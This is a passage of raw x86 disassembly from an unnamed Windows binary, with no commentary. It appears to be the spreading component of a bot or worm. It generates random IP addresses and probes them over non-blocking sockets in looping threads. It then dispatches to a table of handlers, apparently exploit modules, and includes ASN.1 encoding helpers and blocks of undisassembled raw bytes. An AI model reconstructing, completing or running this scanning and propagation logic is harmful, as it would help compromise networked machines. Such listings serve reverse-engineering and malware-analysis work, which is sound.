mov dword_4CDBCC, ebx
loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j
push dword_4CDB44
lea eax, [ebp+var_204]
push offset unk_431D70
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B3BA
add esp, 18h
mov dword_4CDB3C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB38
push offset dword_40F108
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, dword_4CDB3C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C113
loc_40C101: ; CODE XREF: sub_40BD91+380j
cmp dword_4CDBD0, ebx
jnz short loc_40C12E
push 32h
nop
call near ptr 26C04BFh
jmp short loc_40C101
; ---------------------------------------------------------------------------
loc_40C113: ; CODE XREF: sub_40BD91+36Ej
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_204]
push offset unk_431D38
push eax
call sub_41C266
add esp, 0Ch
loc_40C12E: ; CODE XREF: sub_40BD91+376j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C13B: ; CODE XREF: sub_40BD91+2A8j
mov eax, [ebp+arg_130]
loc_40C141: ; CODE XREF: sub_40BD91+298j
shl eax, 6
cmp dword_431808[eax], ebx
jz loc_40C263
push 3
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C263
mov esi, offset dword_4CE3B4
push 104h
push esi
push ebx
nop
call near ptr 26B0000h
push 5Ch
push esi
call sub_41C820
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40C182
mov [eax], bl
loc_40C182: ; CODE XREF: sub_40BD91+3EDj
mov eax, dword_42907C
mov dword_4CE4CC, ebx
mov dword_4CE4B8, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE12C
call sub_41C266
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CE128, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE4B8
mov dword_4CE4C4, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE4C8, ecx
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C18C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B3BA
add esp, 20h
mov dword_4CE4C0, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CE128
push offset sub_40FAD6
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, dword_4CE4C0
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C23B
loc_40C229: ; CODE XREF: sub_40BD91+4A8j
cmp dword_4CE4D4, ebx
jnz short loc_40C256
push 32h
nop
call near ptr 26C04BFh
jmp short loc_40C229
; ---------------------------------------------------------------------------
loc_40C23B: ; CODE XREF: sub_40BD91+496j
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_204]
push offset unk_431D04
push eax
call sub_41C266
add esp, 0Ch
loc_40C256: ; CODE XREF: sub_40BD91+49Ej
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C263: ; CODE XREF: sub_40BD91+14j
; sub_40BD91+25j ...
pop esi
pop ebx
leave
retn
sub_40BD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CBB20h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41CD20
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB8FC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB9D0
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41CD20
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40C267 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41B9C0
cmp eax, 0Fh
pop ecx
jbe short loc_40C2D7
xor eax, eax
jmp short loc_40C348
; ---------------------------------------------------------------------------
loc_40C2D7: ; CODE XREF: sub_40C2AF+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41CCE3
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call sub_41C2C2
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call sub_41C2C2
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call sub_41C2C2
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call sub_41C2C2
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB20[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: ___:0040BBBEp
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA54
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9D4
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA70
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB97C
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9BC
push esi
mov edi, eax
call dword_4CBA6C
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E914[ebx]
cmp dword_4CBB24[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax
jz short loc_40C459
lea eax, [ebp+var_150]
push eax
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E914[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_28C]
push offset unk_431E64
push eax
call sub_41C266
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E710[ebx]
push eax
call sub_41C266
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB20
call near ptr 77F7E21Fh
nop
push [ebp+var_3C]
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_28C]
push offset unk_431E3C
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax
push [ebp+var_40]
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+var_28C]
push eax
call sub_415D38
mov [esp+29Ch+var_29C], offset dword_4CDB20
call near ptr 77F7E300h
nop
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA60
push eax
lea eax, [ebp+var_208]
push eax
call sub_41C266
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41C266
cmp [ebp+var_C0], 0
pop ecx
pop ecx
lea eax, [ebp+var_C0]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41C266
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4317FC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
call near ptr 26C04BFh
nop
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
nop
call near ptr 2720000h
loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA14
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB20[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB20
push esi
nop
call near ptr 2720623h
push 80000400h
push esi
nop
call near ptr 27204CEh
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+var_1CC]
push offset unk_431F48
push eax
call sub_41C266
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj
; sub_40C3E8+297j
mov eax, [ebp+var_2C]
mov esi, dword_427080
mov edi, ebx
mov dword_4CBB24[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_431F14
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C3E8+371j
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_1CC]
push offset unk_431EDC
push eax
call sub_41C266
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C3E8+376j
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40C7B0: ; CODE XREF: sub_40C3E8+468j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB20[eax*8]
push eax
call dword_4CBA60
push eax
lea eax, [ebp+var_1CC]
push offset unk_431E9C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j
lea eax, [ebp+var_1CC]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov dword_4CBB24[eax*8], ebx
call esi
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB20
nop
call near ptr 2720623h
loc_40C835: ; CODE XREF: sub_40C3E8+440j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 2720000h
loc_40C845: ; CODE XREF: sub_40C3E8+3B6j
; sub_40C3E8+475j
mov eax, [ebp+var_2C]
cmp dword_4CBB24[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi
jmp short loc_40C845
sub_40C3E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4CB9D4
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA54
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E91C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA60
push eax
mov edi, offset dword_4CE4E4
push offset dword_431F7C
push edi
call sub_41C266
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
call dword_4CBA6C
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; ---------------------------------------------------------------------------
dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
; DATA XREF: sub_401ACD+5F60o
dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
dd 40C85Fh, 0E8905757h, 22B3B6Ah, 4589C73Bh, 390B74FCh
dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022936h
dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h
dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h
db 0FFh
byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o
dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h
dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh
dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h
dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 90575700h
dd 2B3A79E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
dd 0FFF5EBD6h, 41E80875h, 90022935h, 8CB3FFh, 0BB890000h
dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h
dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh
dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh
dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
db 4, 0
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx
push 0
push edi
call sub_41BF70
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_41CD20
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi
push 0
push esi
call sub_41BF70
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_41CD20
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41CD20
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_41BF70
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax
call sub_41CD20
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_4CB88C
call sub_40CB6E
lea ecx, [ebp+var_8]
call sub_40CBDC
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BEB5
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BF70
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_41CD20
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B9C0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42CC80
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: ___:0040D625p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
